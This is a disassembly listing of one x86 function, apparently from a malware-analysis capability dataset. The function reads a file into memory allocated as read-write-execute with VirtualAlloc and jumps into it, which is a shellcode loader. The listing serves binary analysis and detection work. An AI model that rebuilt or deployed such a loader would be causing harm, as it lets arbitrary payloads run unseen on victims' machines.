Function at 0x403eb0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42bdc0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x30
push ebx
push esi
push edi
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x10], esp
push 0x433ee8
push eax
mov dword [ebp - 4], 0
mov dword [ebp - 0x1c], 0x39
call fcn.0040ed9f
lea ecx, [ebp - 0x3c]
push ecx
call fcn.00403710
lea edx, [ebp - 0x2c]
mov bl, 2
push edx
mov byte [ebp - 4], bl
call fcn.00403970
lea eax, [ebp - 0x2c]
lea ecx, [ebp - 0x3c]
push eax
push ecx
mov byte [ebp - 4], 3
call fcn.00403bb0
add esp, 0x10
push 0
push 0x80
push 3
push 0
push 1
push SysReAllocStringLen
push 0x10395b0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
push 0
cmp esi, 0xffffffff
jne 0x403f71
push 0x10395a8
push 0x1039598
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 1
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], bl
call fcn.004044e0
push 1
lea ecx, [ebp - 0x3c]
mov byte [ebp - 4], 1
call fcn.004044e0
mov eax, 0x40417d
ret
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
cmp edi, 0xffffffff
jne 0x403fbb
push 0
push 0x10395a8
push 0x1039584
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], bl
call fcn.004044e0
push 1
lea ecx, [ebp - 0x3c]
mov byte [ebp - 4], 1
call fcn.004044e0
mov eax, 0x40417d
ret
push 0x40
push 0x1000
push edi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, eax
push 0
test ebx, ebx
mov dword [ebp - 0x18], ebx
jne 0x40404c
push 0x10395a8
push 0x1039574
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x28]
xor esi, esi
cmp eax, esi
je 0x404015
lea ecx, [eax - 1]
mov al, byte [eax - 1]
test al, al
je 0x40400c
cmp al, 0xff
je 0x40400c
dec al
mov byte [ecx], al
jmp 0x404015
push ecx
call fcn.0042435c
add esp, 4
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x28], esi
cmp eax, esi
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x20], esi
je 0x404046
lea ecx, [eax - 1]
mov al, byte [eax - 1]
test al, al
je 0x40403d
cmp al, 0xff
je 0x40403d
dec al
mov byte [ecx], al
mov eax, 0x40417d
ret
push ecx
call fcn.0042435c
add esp, 4
mov eax, 0x40417d
ret
lea edx, [ebp - 0x14]
push edx
push edi
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4040fa
cmp dword [ebp - 0x14], edi
jne 0x4040fa
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pushal
mov eax, dword [ebp - 0x18]
call eax
popal
mov eax, dword [ebp - 0x18]
xor ebx, ebx
push 0x8000
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, dword [ebp - 0x28]
cmp eax, ebx
je 0x4040ae
lea ecx, [eax - 1]
mov al, byte [eax - 1]
cmp al, bl
je 0x4040a5
cmp al, 0xff
je 0x4040a5
dec al
mov byte [ecx], al
jmp 0x4040ae
push ecx
call fcn.0042435c
add esp, 4
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x28], ebx
cmp eax, ebx
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x20], ebx
je 0x4040df
lea ecx, [eax - 1]
mov al, byte [eax - 1]
cmp al, bl
je 0x4040d6
cmp al, 0xff
je 0x4040d6
dec al
mov byte [ecx], al
mov eax, 0x4040e5
ret
push ecx
call fcn.0042435c
add esp, 4
mov eax, 0x4040e5
ret
xor edi, edi
push edi
push 0x10395a8
push 0x1039564
push edi
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0x8000
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x28]
cmp eax, edi
je 0x404146
lea ecx, [eax - 1]
mov al, byte [eax - 1]
test al, al
je 0x40413d
cmp al, 0xff
je 0x40413d
dec al
mov byte [ecx], al
jmp 0x404146
push ecx
call fcn.0042435c
add esp, 4
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x28], edi
cmp eax, edi
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x20], edi
je 0x404177
lea ecx, [eax - 1]
mov al, byte [eax - 1]
test al, al
je 0x40416e
cmp al, 0xff
je 0x40416e
dec al
mov byte [ecx], al
mov eax, 0x40417d
ret
push ecx
call fcn.0042435c
add esp, 4
mov eax, 0x40417d
ret